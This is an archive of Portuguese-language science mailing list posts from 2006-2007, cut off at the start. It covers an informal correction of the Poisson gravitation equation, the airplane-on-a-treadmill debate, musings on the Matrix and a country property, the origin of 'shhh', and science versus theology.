alguma coisa existe num dado ponto do espaço e num instante t !
> É elementar isso. Qualquer expressão matemática, candidata a dar
conta dessas coisas, deve ter em seu bojo parâmetros da espécie.
> A Equação de Poisson não tem. A que representa as lúcidas
conjecturas de Einstein, tem.
>
> Assim, a Equação de Poisson, devidamente corrigida para representar
o comportamento da natureza, nesse mister, assume a forma:
>
>
> [ (-1/c^2)Ftt + Fxx + Fyy + Fzz) ] (psi) = (1/c^2).4.pi.G T(i,j),
( 1 )
>
> onde:
>
> Primeiro membro, entre chaves = operador ou d`Alambertiano, no
espaço tempo 4-dimensional ( 3 coordenadas espaciais + 1 de tempo), sendo:
>
> Ftt = derivada segunda de (psi = potencial ) em relação ao tempo
>
> Fxx, Fyy, Fzz = derivada segunda de (psi = potencial ) em relação ao
espaço(x, y,z)
>
> Segundo membro:
>
> c = velocidade da luz
>
> pi = constante = 3,14
>
> G = constante gravitacional de Newton
>
> T(i,j), com i, j = 1,2,3,4 = t, x, y, z(i e j representam os índices
que afetam as variáveis, e podem assumir os valores
> indicados. Tanto faz usar letras ou números, na representação, e
estes concretizam as compondentes da variável
> sob estudo), representa o objeto matemático que identifica e
quantifica todas as propriedades do ponto.
>
> (Em tempo: trata-se de uma matriz com 16 elementos, por isso é
chamado de tensor. Se tivesse só 3 elementos
> seria chamado de vetor mesmo. Tensor é um nome pomposo para um vetor
gordinho, com mais de 3 componentes. Só isso.).
>
> (Neste caso, que é muito simples, T(i,j) = Too -Txx - Tyy - Tzz. [ O
T(i,j) é nulo para valores de i diferente de j. Nem queira
> saber a razão disso agora.]
> Um dia você saberá realmente o que significa esta soma e cada termo
e seus índices. Por ora, é meio difícil você entender.
> Apenas aceite, e depois poderá comprovar, quando ficar mais sabidinho.
> Como você pode ver, ele, o T(i,j), tomou lugar do rhô. O c^2
apareceu em razão de o segundo membro haver sido
> multiplicado e dividido por c^2, com o fito de se obter (rhô.c^2),
que expressa energia, segundo a relatividade restrita.
> Com isso, fica permitida a compatibilização pelo introdução de T(i,j).
> Agora, como fazer essa correção, como chegar a essa conclusão
importante, não é um tarefa simples.
> Exige do freguês um preparo especial em matemática e física. E uma
cabeça aberta para aceitar
> que espaço e tempo não coisas absolutas. Coisas, movimentos,
posições, só têm sentido físico
> em relação a algum corpo de referência. Daí a razão de a
relatividade ser um teoria essencialmente
> relacional. E também causal. Tudo no universo é assim. Você verá.
>
> A reza milagrosa expressa por (1) fica assim mais adequada para
expressar o que vai pela natureza.
> Ela, a equação ( 1), é a representação correta do que ocorre na
natureza.
> Põe as coisas em ordem: incorpora os parâmetros tempo e a velocidade
da luz, como era pra ser.
>
> Isto elimina as incoerências apontadas por Einstein, que mostrou o
erro e apresentou a solução,
> como convém a um cientista de juizo na cabeça.
>
> Obs.: Se você vai fazer física, dou-lhe um conselho de amigo, pois
quem avisa amigo é: enverede pelas
> sendas da relatividade, que é a mais bela e correta dentre todas as
teorias.
> Mas se vai mesmo fazer física, vicie-se também no site o Imperdível,
que os pecados serão perdoados.
> Você não se arrependerá e, de quebra, ainda irá para para o céu, com
roupa e tudo.
>
> Sério mesmo!
>
>
> Sds,
> Victor.
>
>
>
>
>
>
>
>
>
> ----- Original Message -----
> From: Salomão Barros
> To: ciencialist
> Sent: Saturday, December 23, 2006 11:12 AM
> Subject: [ciencialist] Poisson
>
>
> Lista-
> Outra discussão superinteressante para mim e q cheguei a entender
muita
> coisa, apesar do alto nível, devido principalmente às belas aulas de
> matemática dada por um dos participantes para explicar e
justificar a coisa
> física, foi a q aconteceu entre Victor(se é que posso chmara
assim) e o
> Prof.Hélio. O Victor informou, acho q para movimentar o fórum,q há uma
> incompatibilidade entre a teoria de Newton da gravitação, expressa
pela eq.
> de Poisson, que, segundo Victor, revela essa incompatibilidade
devido a que
> prevê transmissões instantâneas dos potenciais, o que não é
verificado na
> observação, na prática. O Prof. Hleio discordou, sendo apoiado pelo
> Prof.Mesquita. Mas o Victor manteve a informação e as
consequências dela,
> inclusive mostrando numa matemática avançada(para mim. Mas q até
entendi,
> devido a didática da exposição). Mas apesar de toda a discussão, houve
> silêncio e o Victor não apresentou o jeito de resolver o defeito
comentado.
> Como corrgir a equação de Poisson, se é que isso é possível, de modo a
> eliminar a incompatibilidade?. Estranhei que tivessem silenciado,
pois, como
> eu, muitos estavam se beneficiando.
> Seria possível eles, ou outros retomarem esse belo tema?
>
> Estou lendo outras discussões, depois farei mais comentários.
> Mais uma vez, desculpas por querer reativar discussão encerrada.
> Salomão.




SUBJECT: p/Silvio / Como funciona o processo...?
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/04/2007 17:45

Sílvio...
Até eu estou com vontade de ver o seu sítio...
Vc tombém é um poeta, Sílvio...
Só que do tipo incompreensivo.
Pruquê ocê num deixô os minino socegado, Sílvio...
Um pograminha ô ôtro num faz mal.
A vida passa, meu poeta...
abraço e parabens pelos 100 ipês ( amarelos? )
Muliro


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: Jeff: Como funciona o processo...?
>Date: Sun, 8 Apr 2007 11:03:27 -0300
>
>Meu prezado Ferrari, o jovem:
>
>Sou doutor em sitiologia. Tive um, trabalhei nele durante anos, não havia 1
>m² que não fosse cuidado e plantado: no começo, tirava até 15 produtos
>deferentes: com o tempo, a exaustão da terra, a triste realidade que no
>sacolão os gêneros eram mais baratos (o caseiro e a família dele faziam a
>festa) mais as doenças que liquidavam as aves e os cães, eram ônus
>pezado... Salvava-se festas de S. João quando dávamos canjica e cachaça
>para dezenas de vizinhos... Comprei e plantei 100 mudas de ipê, na
>fronteira norte, na cacunda de um morro: deve ter ficado lindo pois logo
>depois, vendi: tinha sido transformado, por meus filhos, em prostíbulo....
>
>um agraço,
>
>silvio.
>
>Mas havia noites em que ver o céu pagava todos os problemas.... os barulhos
>da noite: corujas caçando, gambás comendo maracujás, micos devastando
>bananeiras... e os vagalumes ávidos, procurando as consortes....
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, April 04, 2007 1:20 PM
> Subject: [ciencialist] Re: Jeff: Como funciona o processo...?
>
>
> Olá Jeff!
>
> Jeff >>> Acho que também sou um "proto-hyppie" Meu
> objetivo é, um dia, comprar um sítio e poder morar
> nele.
>
> --- Nem tudo num sitio é vida boa e fácil. Tirar leite
> da teta da vaca, por exemplo, requer maestria de
> pianista. Cuidar dos porcos é bem fedorento. E por
> mais que vc carpir, o mato teimoso vai sempre voltar a
> crescer. Contudo, se a procura cientifica-proto-hyppie
> continuar, vou até pensar em lotear uns por aqui.
>
> Jeff >>> Hmmmm... Eu estava reconhecendo as suas
> idéias de algum lugar... :-) Você acredita que vivemos
> em algo como a Matrix
>
> --- não acredito que vivemos. eu sei que vivo. sei de
> mim, o resto é mapa. e não sei que vivo na matrix, sei
> que vivo no que vive. Se chamo isto que vive de vida,
> de matrix, de deus, de eternidade, de matéria, de sopa
> quantica, de eletrons, etc, não muda a realidade disto
> que vive, é apenas um recurso semantico. Não
> precisamos nos prender a semantica.
>
> --- Ninguém precisa de semantica pra existir, precisa?
> Pois então! A semantica da matrix pode ser uma boa
> semantica, se bem usada. Uso bastante ela. E usei com
> o Murilo porque sei que lhe é familar. Já conversamos
> usando esta semantica antes.
>
> Jeff >>> e que só você conseguiu se libertar dela para
> "ver" a verdade.
>
> --- Jeff, assim como não tem como vc se libertar do
> que vc é, um ser, não tem como um personagem da matrix
> se libertar da matrix, pois ele é a própria matrix.
> Aquele negocio do Neo ir pra Zion é uma metáfora. Não
> teria como o Neo sair da mundo da forma é ir para um
> mundo sem forma. Cinema é forma. Como o autor do filme
> ia conseguir passar a idéia de um mundo sem forma, se
> todas as imagens na telas precisam ter forma, entende?
>
> --- Sair da matrix é "viver no mundo da forma, sem ser
> do mundo da forma". A semantica católica fala uma
> coisa parecida com isto, algo assim "estar no mundo,
> mas não ser do mundo".
>
> --- Contudo, não há nada para se fazer, já somos o que
> somos. Só que não sabemos o que somos. Este é o
> obstáculo. Vc sabe quem vc é? Esta é uma pergunta de
> vc pra vc mesmo. Só vc pode responder. E enquanto não
> souber quem vc é, vc vai ter que acreditar no que os
> outros te dizem. Sejam eles doutores cientista,
> respeitados religiosos, ou iluminados mestres. Não
> importa quem for, se acreditar, vc será apenas um
> crente, como qualquer crente que vc tanto fala mal,
> generaliza e condena.
>
> --- Porém, quando vc souber que vc é, ai nada poderá
> lhe enganar mais. Porque? Porque a verdade do que vc
> é, é sempre a mesma, não muda nunca. Só muda de
> semantica. Só muda de forma. Eis como funciona o
> processo.
>
> Jeff >>> ...que tudo é controlado por um deus, que
> funciona como o Arquiteto da Matrix.
>
> --- Chame do que quiser, o controle está ai, e não
> adianta negar. Aliás, o próprio ato de negá-lo o
> prova. Todo ato acontece no tempo, e é regido pelo
> tempo, isto é inegável. Seja o ato de afirmar uma
> coisa ou de negar a mesma coisa. Ambos os atos
> acontecem no tempo. Eis ai um outro nome que podemos
> dar ao controlador-trix "tempo". Sobre isto vou falar
> no próximo artigo "sobre oniporesença".
>
> Jeff >>> "A colher não existe", é só um mapa mental
> que "Deustrix" colocou na minha cabeça! :-)
>
> --- Isto é o que vc aprendeu no filme. Agora, isto é
> uma verdade pra vc? É isto que importa. Veja, o que os
> cientista materialistas falam pode ser veradade. Mas é
> verdade pra vc? O que os quanticos falam pode ser
> verdade, mas é verdade pra vc? O que os judeus falam
> pode ser verdade, mas é verdade para vc? O que os
> budistas falam pode ser verdade, mas é verdade pra vc?
> É isto que importa, a verdade, e não a semantica.
>
> Jeff >>> Bom, não posso provar que isso é impossível
> mas, usando a navalha de Ockhan: se não precisa
> existir, é mais provável que não exista.
>
> --- Sim, é mais fácil acreditar em Ockhan do que em si
> mesmo, não é? Eis porque tem gente querendo me
> expulsar da lista. Eu sou apenas um espelho, o que as
> pessoas veem em mim, no que escrevo, é o que está
> dentro delas, no inconsciente. Mas elas não querem ver
> o que está inconsciente. Vc acha que alguém gostou
> quando freud disse que o comportamento da pessoas
> estava baseado no inconsciente? Ninguém gostou. É
> natural. Se o consciente gostasse do que está
> inconsciente não o mantinha inconsciente, não é mesmo?
> Mas suponho que vc seja uma pessoa nova, aberta, com
> um coração de cientista que ainda não foi corrompido
> pela luta do poder. Sendo assim, volto a lhe
> aconselhor, vc é o livro. Não se deixe corromper por
> ninguém que se faça de doutor ou dono da verdade
> (autoridades). A verdade não tem dono. Vc é a verdade,
> e ninguém pode tirar vc de vc.
>
> Jeff >>> Podemos inventar N realidades...
>
> --- Podemos inventar N mapas, realidade é uma só.
>
> Jeff >>> Se você ainda não assistiu, assista "O 13º
> andar", muito interessante.
>
> --- Valeu! Já assisti sim.
>
> Jeff >>> Pode até te fazer "mudar de realidade" :-)
>
> --- Jeff, investigue esta metáfora, pense no
> significado dela: o mapa não é o território.
>
> sinceramente
> ferrari
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
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>
>
>
>
>------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.24/742 - Release Date:
>1/4/2007 20:49
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] p/Silvio / Como funciona o processo...?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/04/2007 18:42

Amarelinhos.....
tinha também 500 eucalío]ptos, de todos os tipos gue ganhei no horto da prefeitura....
Mas eu o vendi pra vir pra guarapari e nem tive coragem de voltar lá.... Hoje é um loteamento.
Falando em poesia, eu tinha uma cachorrinha tão condicionada que, todos os sábados - só aos sábados - ela sentava na varanda e esperava que eu chegasse de carro, a uns 150 m de distância: era só ver o carro e ela vinha como uma bala...
Na vida, o bom mesmo é plantar: idéias, filhos, árvores....

abraço,

silvio.
----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 08, 2007 5:45 PM
Subject: [ciencialist] p/Silvio / Como funciona o processo...?


Sílvio...
Até eu estou com vontade de ver o seu sítio...
Vc tombém é um poeta, Sílvio...
Só que do tipo incompreensivo.
Pruquê ocê num deixô os minino socegado, Sílvio...
Um pograminha ô ôtro num faz mal.
A vida passa, meu poeta...
abraço e parabens pelos 100 ipês ( amarelos? )
Muliro

>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: Jeff: Como funciona o processo...?
>Date: Sun, 8 Apr 2007 11:03:27 -0300
>
>Meu prezado Ferrari, o jovem:
>
>Sou doutor em sitiologia. Tive um, trabalhei nele durante anos, não havia 1
>m² que não fosse cuidado e plantado: no começo, tirava até 15 produtos
>deferentes: com o tempo, a exaustão da terra, a triste realidade que no
>sacolão os gêneros eram mais baratos (o caseiro e a família dele faziam a
>festa) mais as doenças que liquidavam as aves e os cães, eram ônus
>pezado... Salvava-se festas de S. João quando dávamos canjica e cachaça
>para dezenas de vizinhos... Comprei e plantei 100 mudas de ipê, na
>fronteira norte, na cacunda de um morro: deve ter ficado lindo pois logo
>depois, vendi: tinha sido transformado, por meus filhos, em prostíbulo....
>
>um agraço,
>
>silvio.
>
>Mas havia noites em que ver o céu pagava todos os problemas.... os barulhos
>da noite: corujas caçando, gambás comendo maracujás, micos devastando
>bananeiras... e os vagalumes ávidos, procurando as consortes....
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, April 04, 2007 1:20 PM
> Subject: [ciencialist] Re: Jeff: Como funciona o processo...?
>
>
> Olá Jeff!
>
> Jeff >>> Acho que também sou um "proto-hyppie" Meu
> objetivo é, um dia, comprar um sítio e poder morar
> nele.
>
> --- Nem tudo num sitio é vida boa e fácil. Tirar leite
> da teta da vaca, por exemplo, requer maestria de
> pianista. Cuidar dos porcos é bem fedorento. E por
> mais que vc carpir, o mato teimoso vai sempre voltar a
> crescer. Contudo, se a procura cientifica-proto-hyppie
> continuar, vou até pensar em lotear uns por aqui.
>
> Jeff >>> Hmmmm... Eu estava reconhecendo as suas
> idéias de algum lugar... :-) Você acredita que vivemos
> em algo como a Matrix
>
> --- não acredito que vivemos. eu sei que vivo. sei de
> mim, o resto é mapa. e não sei que vivo na matrix, sei
> que vivo no que vive. Se chamo isto que vive de vida,
> de matrix, de deus, de eternidade, de matéria, de sopa
> quantica, de eletrons, etc, não muda a realidade disto
> que vive, é apenas um recurso semantico. Não
> precisamos nos prender a semantica.
>
> --- Ninguém precisa de semantica pra existir, precisa?
> Pois então! A semantica da matrix pode ser uma boa
> semantica, se bem usada. Uso bastante ela. E usei com
> o Murilo porque sei que lhe é familar. Já conversamos
> usando esta semantica antes.
>
> Jeff >>> e que só você conseguiu se libertar dela para
> "ver" a verdade.
>
> --- Jeff, assim como não tem como vc se libertar do
> que vc é, um ser, não tem como um personagem da matrix
> se libertar da matrix, pois ele é a própria matrix.
> Aquele negocio do Neo ir pra Zion é uma metáfora. Não
> teria como o Neo sair da mundo da forma é ir para um
> mundo sem forma. Cinema é forma. Como o autor do filme
> ia conseguir passar a idéia de um mundo sem forma, se
> todas as imagens na telas precisam ter forma, entende?
>
> --- Sair da matrix é "viver no mundo da forma, sem ser
> do mundo da forma". A semantica católica fala uma
> coisa parecida com isto, algo assim "estar no mundo,
> mas não ser do mundo".
>
> --- Contudo, não há nada para se fazer, já somos o que
> somos. Só que não sabemos o que somos. Este é o
> obstáculo. Vc sabe quem vc é? Esta é uma pergunta de
> vc pra vc mesmo. Só vc pode responder. E enquanto não
> souber quem vc é, vc vai ter que acreditar no que os
> outros te dizem. Sejam eles doutores cientista,
> respeitados religiosos, ou iluminados mestres. Não
> importa quem for, se acreditar, vc será apenas um
> crente, como qualquer crente que vc tanto fala mal,
> generaliza e condena.
>
> --- Porém, quando vc souber que vc é, ai nada poderá
> lhe enganar mais. Porque? Porque a verdade do que vc
> é, é sempre a mesma, não muda nunca. Só muda de
> semantica. Só muda de forma. Eis como funciona o
> processo.
>
> Jeff >>> ...que tudo é controlado por um deus, que
> funciona como o Arquiteto da Matrix.
>
> --- Chame do que quiser, o controle está ai, e não
> adianta negar. Aliás, o próprio ato de negá-lo o
> prova. Todo ato acontece no tempo, e é regido pelo
> tempo, isto é inegável. Seja o ato de afirmar uma
> coisa ou de negar a mesma coisa. Ambos os atos
> acontecem no tempo. Eis ai um outro nome que podemos
> dar ao controlador-trix "tempo". Sobre isto vou falar
> no próximo artigo "sobre oniporesença".
>
> Jeff >>> "A colher não existe", é só um mapa mental
> que "Deustrix" colocou na minha cabeça! :-)
>
> --- Isto é o que vc aprendeu no filme. Agora, isto é
> uma verdade pra vc? É isto que importa. Veja, o que os
> cientista materialistas falam pode ser veradade. Mas é
> verdade pra vc? O que os quanticos falam pode ser
> verdade, mas é verdade pra vc? O que os judeus falam
> pode ser verdade, mas é verdade para vc? O que os
> budistas falam pode ser verdade, mas é verdade pra vc?
> É isto que importa, a verdade, e não a semantica.
>
> Jeff >>> Bom, não posso provar que isso é impossível
> mas, usando a navalha de Ockhan: se não precisa
> existir, é mais provável que não exista.
>
> --- Sim, é mais fácil acreditar em Ockhan do que em si
> mesmo, não é? Eis porque tem gente querendo me
> expulsar da lista. Eu sou apenas um espelho, o que as
> pessoas veem em mim, no que escrevo, é o que está
> dentro delas, no inconsciente. Mas elas não querem ver
> o que está inconsciente. Vc acha que alguém gostou
> quando freud disse que o comportamento da pessoas
> estava baseado no inconsciente? Ninguém gostou. É
> natural. Se o consciente gostasse do que está
> inconsciente não o mantinha inconsciente, não é mesmo?
> Mas suponho que vc seja uma pessoa nova, aberta, com
> um coração de cientista que ainda não foi corrompido
> pela luta do poder. Sendo assim, volto a lhe
> aconselhor, vc é o livro. Não se deixe corromper por
> ninguém que se faça de doutor ou dono da verdade
> (autoridades). A verdade não tem dono. Vc é a verdade,
> e ninguém pode tirar vc de vc.
>
> Jeff >>> Podemos inventar N realidades...
>
> --- Podemos inventar N mapas, realidade é uma só.
>
> Jeff >>> Se você ainda não assistiu, assista "O 13º
> andar", muito interessante.
>
> --- Valeu! Já assisti sim.
>
> Jeff >>> Pode até te fazer "mudar de realidade" :-)
>
> --- Jeff, investigue esta metáfora, pense no
> significado dela: o mapa não é o território.
>
> sinceramente
> ferrari
>
> - - - - - - - - - - - - - - -
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> O novo livro de Marcelo Ferrari:
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Origem do som usado para pedir silêncio
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/04/2007 22:19

Aquele 'shhh' que todos fazem quando querem que seja feito silêncio...
qual a origem desse som?

Li em algum lugar (livro do Sagan, talvez) que seria uma imitação do
chocalho de serpentes, de modo a incutir medo às criancinhas...
Isso procede, alguém tem alguma fonte ou isso é só uma suposição?

Abraços.


SUBJECT: Balanço do avião
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/04/2007 23:00

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Ola Renato
>
> Renato: "teria se deslocado também 1000 metros para trás, "trazendo"
> ou mantendo o avião ao/no mesmo ponto inicial de decolagem"
>
> Chega, Renato! Pessoas com esse padrao de "fe'", cega e teimosa,
> tornam impossivel qualquer discussao!
>
> Todo mundo tentou explicar para voce, a esteira NAO traz, ela nao pode
> trazer, ela nao tem como trazer o aviao para tras!!!
>
> A UNICA coisa que ela pode fazer e' girar as rodas do aviao mais
> rapido do que girariam se este estivesse decolando de um piso fixo.
> So' isso, NADA mais.
>
> Para TRAZER o aviao ela teria de aplicar forca neste, e forca que
> compensasse a propulsao, e ela NAO pode.
>
> O Takata apenas tentou demonstrar que em algumas circunstancias os
> rolamentos poderiam, no limite, agir dessa forma. Mas voce nao
> entende, ao rolar para tras a esteira NAO TRAZ, NAO TEM COMO TRAZER,
> NAO PODE TRAZER, o aviao ao ponto de partida.
>
> Ela pode apenas "girar" as rodas mais rapido.
>
> Pense na diligencia (pense, nao doi!), e o cara que a empurra ou os
> cavalos que a puxam de FORA da esteira (que e' o mesmo que as helices
> e os jatos). A diligencia NAO volta se a esteira e' ligada, ela apenas
> tem as rodas girando mais rapido!!!!
>
>
> Eu desisto. Outros talvez queiram tentar explicar para voce, ms eu
> desisto. Se quer "acreditar" em mais alguma coisa, que o aviao nao
> decola, e' direito seu, e eu desisto.
>
> Homero
>




SUBJECT: Balanço do avião - Não to entendendo nada :)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/04/2007 23:02

Vocês enlouqueceram de vez ou é impressão minha?

Quem está movendo essa esteira no sentido oposto ao do avião?

Afinal, do que vocês estão falando a 200 mensagens?

Cruzes,
JC



SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/04/2007 00:06

Olá, José Carlos!

Essas mesmas discordâncias que registramos aqui vêm ocorrendo continuamente,
desde sempre, por um motivo básico: o desconhecimento do conhecimento de
interesse do outro. Daí a importância de procurarmos aprender, sem reservas,
as linguagens e as idéias que são de interesse de outras pessoas

Ainda hoje, tem gente que não acredita ou não aceita fatos bem recentes,
como a ida do homem à Lua. Outros não aceitam ou não conseguem entender
descrições científicas do fóton onda-partícula. Mas há também crendices
comuns à maioria dos cientistas, que poucos percebem: o tempo como um
fenômeno físico. Creio que muito de nós sabemos que o tempo não tem
existência física, mas continuamos tratando-o como se tivesse e,
curiosamente, esquecemos o fundamental na Física que é o espaço-movimento.

Do mesmo modo, não é nenhuma surpresa, hoje, pessoas não aceitarem algo bem
mais antigo como a virgindade de Maria, sua imaculada concepção e sua subida
aos céus de corpo e alma. Isso é linguagem teológica judaico-cristã na
construção literária da Redenção do homem do pecado originado pela
desobediência de Adão e Eva, a Deus. Mas, para os que falam a linguagem da
teologia, a libertação do pecado original, que submeteu a razão aos
instintos, já vem sendo descrita e construída pelos profetas judaicos, no
anúncio da vinda do Ungido-Messias-Cristo, desde o primeiro livro do
Pentateuco, o Gêneses.

C. G. Jung (1875-1961) foi um dos que sofreram desprezo e críticas severas
por não se deixar aprisionar pela linguagem acadêmica do "comprovado
cientificamente". Levou cerca de 30 anos para concluir seu livro Resposta a
Jó (Obras completas Volume XI / 4) sobre a teologia cristã da Salvação e os
dogmas católicos da Imaculada Conceição e Assunção de Maria.

É o que acontece normalmente: se não conheço a linguagem do outro, também
não conheço suas idéias... E seus argumentos não fazem qualquer sentido
lógico para mim.

Abraços

José Renato
....................................................

From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 08, 2007 3:26 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
doparadoxo


Olá José Renato,

"Discordei de vc quanto ao motivo de não haver conflito entre
Ciência, Filosofia e Teologia."

Eu sei. Se concordássemos com o motivo concordaríamos também com a
tese. :)

Mas discordamos e isso não tem nenhum problema. Assim como também
não tem nenhuma problema o fato de que não concordaremos sobre isso
nem depois de 200 mensagens. Veja abaixo...

"Não é porque elas não tenha relação causal entre si, mas sim e
exatamente por elas terem como objetivo direto ou indireto o
entendimento do mundo pela humanidade."

O objetivo, seja lá qual for que se dê a elas, não dá às mesmas
nenhuma relação causal entre si. Essa relação, se existisse, estaria
muito mais nos pressupostos e nos métodos de cada uma do que nos
objetivos "diretos ou indiretos". Agora convenhamos, até mesmo ao se
falar em "objetivos" não é possível argumentar que a busca de
respostas para formação do Sistema Solar, por exemplo, tenha algo em
comum com a virgindade de Maria ou com o Estado imaginado por
Platão, não é?

Não é por que a "Humanidade" nos une que colcoaremos tudo em um só
balaio de gatos.

Por fim, não se trata meramente de diferentes "linguagens" como você
sugere, pois se assim o fosse haveria um protocolo de conversão
entre elas (um "tradutor"). É possível explicar ciência até em
Klingon, mas não dá nem paa imaginar fazê-lo por meio de rezas e
benzimentos.

Esqueça, José Renato. Escolha uma das três e interprete o mundo com
ela. Ou use uma em cada situação da sua vida (como geralmente se
faz). Você não precisa descaraterizar nenhuma delas para que ela se
acomode às outras.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...>
escreveu
>
> Professor, esclareço melhor meu comentário.
> Discordei de vc quanto ao motivo de não haver conflito entre
Ciência,
> Filosofia e Teologia. Não é porque elas não tenha relação causal
entre si,
> mas sim e exatamente por elas terem como objetivo direto ou
indireto o
> entendimento do mundo pela humanidade. Os caminhos podem ser
diferentes mas
> apontam ou deveriam apontar a uma mesma direção: a humanidade. Os
desvios
> ocorrem em todas elas, o que não invalida suas diversas linguagens
para um
> melhor entendimento da presença da humanidade no universo.
> []s
> JR
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 06, 2007 7:51 AM
> Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re:
Em defesa
> doparadoxo
>
>
> Olá José Renato,
>
> Eu não me lembro de ter dito que havia algum conflito entre elas

(apaguei o restante)



SUBJECT: Re: [ciencialist] Chega, Renato... - Re: Balanço do avião2
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/04/2007 00:19

Olá, Ricardo! Se vc não tiver tempo para refletir sobre a segunda
possibilidade do problema, deixe para dar sua opinião após fazer suas
considerações adequadamente. Eu leio e lerei sua mensagens sobre o assunto.
O que vc chama de alguém tão teimoso pode estar a sua frente no espelho, só
que com cara de tolo depois de ver que não se conduziu de forma lúcida na
questão.
Veja meu e-mail de sábado, 7 de abril de 2007 18:57 com explicação mais
detalhada do meu raciocínio.

Abraços

José Renato
....................................................
From: "Hélio Ricardo Carvalho" <hrc@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 08, 2007 2:50 PM
Subject: Fw: [ciencialist] Chega, Renato... - Re: Balanço do avião2


Alo Renato, Homero e todos,

Eu fiquei muito tempo sem participar da lista. Ando extremamente
ocupado. Perdi muita coisa interessante.
Mas nas minhas últimas participações esta thread do avião já estava
rolando (O avião e a esteira já estavam rolando :-)).

Nunca vi alguém tão teimoso quanto o Renato!
Eu duvido que ele continue lendo com atenção o resto desta minha
mensagem depois desta minha frase aí em cima como acho que ele não
continua lendo com atenção as explicações do Homero.
Mas mesmo assim vou tentar convence-lo. (SERÁ MEU PRESSENTE DE PÁSCOA) :-)

Quando andamos, só o fazemos, pois empurramos o chão para trás e a
esta ação no chão corresponde uma reação do chão em nós. Num carro
também é assim que acontece.

Uma pessoa ou um carro caminhando na esteira as coisas seriam como diz
o Renato.

Mas um avião, para "andar" não empurra o chão para trás (a roda do
avião não está ligada a nenhum motor). Ele empurra o ar para trás e
com isto ele ganha velocidade EM RELAÇÃO AO AR.

Eu não vou voltar a este assunto.

Isto não vai aplacar a teimosia sem limites do Renato, eu tenho
certeza. Pois é justamente isto que o Homero (que também é teimoso mas
agora vi que tem limites :-)) vem tentando dizer para ele desde:

http://br.groups.yahoo.com/group/ciencialist/message/61309

Abraços,
Hélio Ricardo Carvalho

PS.:
Vou continuar sumido pois são muitas tarefas.






--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Homero! (reenvio tentando ajustar as legendas das figuras)
>
> Em vez de vc rebater meu raciocínio e apresentar as falhas dele vc
parece
> que fica tão atordoado que passa a não tratar mais da questão e sim
fazer
> uma análise virtual da minha fé-cega-teimosa que nada acrescenta à
> solução do problema.
>
> Vc já pensou por um momento que é vc quem não consegue visualizar o
arranjo
> que tento lhe passar, no qual as velocidades da esteira-pista e do
avião são
> medidas a partir de um ponto fixo localizado sobre a esteira que esta se
> movimentando? E o ponto junto com ela também se movimentando para trás?
> Não é vergonha admitir isso, é lucidez e libertação.
>
> Dê uma olhada nas três esquemas abaixo e apresente sua discordância de
> forma objetiva:
>
>
> fig.1 - Esquema básico.
> Esteira parada e o avião =}> estacionado no ponto 'o'.
>
> <= direção desloc esteira =}> direção desloc avião =>
> ________________________'o'__________________________
>
> O = ponto de referência localizado sobre a esteira.
>
>
> fig. 2 - Esteira parada. O avião com turbinas acionadas-aceleradas
> percorre sobre a esteira uma espaço de 1000m e atinge no
> ponto ' f ' a velocidade de 180km/h, após 10 segundos.
> O ponto de ref. 'o' permanece no mesmo lugar.
>
>
>
> esteira parada
avião =}>
> /________________________'o'_________________f_____
> |
1000m |
>
>
> fig. 3 - Esteira e avião começam simultaneamente a se movimentar,
> com a mesma aceleração do avião da figura anterior, até atingir
> uma velocidade de 180km/h, após 10seg. O avião rola-desliza sobre
> a esteira 1000 metros para a direita e a esteira 1000 metros para
> a esquerda. O ponto de ref. 'o' localizado sobre a esteira se desloca
> junto e, após os 10 segundos, passa a ocupar a posição o' situado
> 1000 m a esquerda do ponto original 'o'. E o avião, que estaria no
> ponto f caso a esteira se mantivesse parada, continua a ocupar o
> ponto original 'o', isto é, praticamente continua parado em relação
> ao ar e ao solo. Sem sustentação corre sobre a esteira em alta
> velocidade mas não voa.
>
>
> <= esteira acionada
avião =}>
> /_______o'_________________'o'_________________f_____
> | 1000m |
1000m |
>
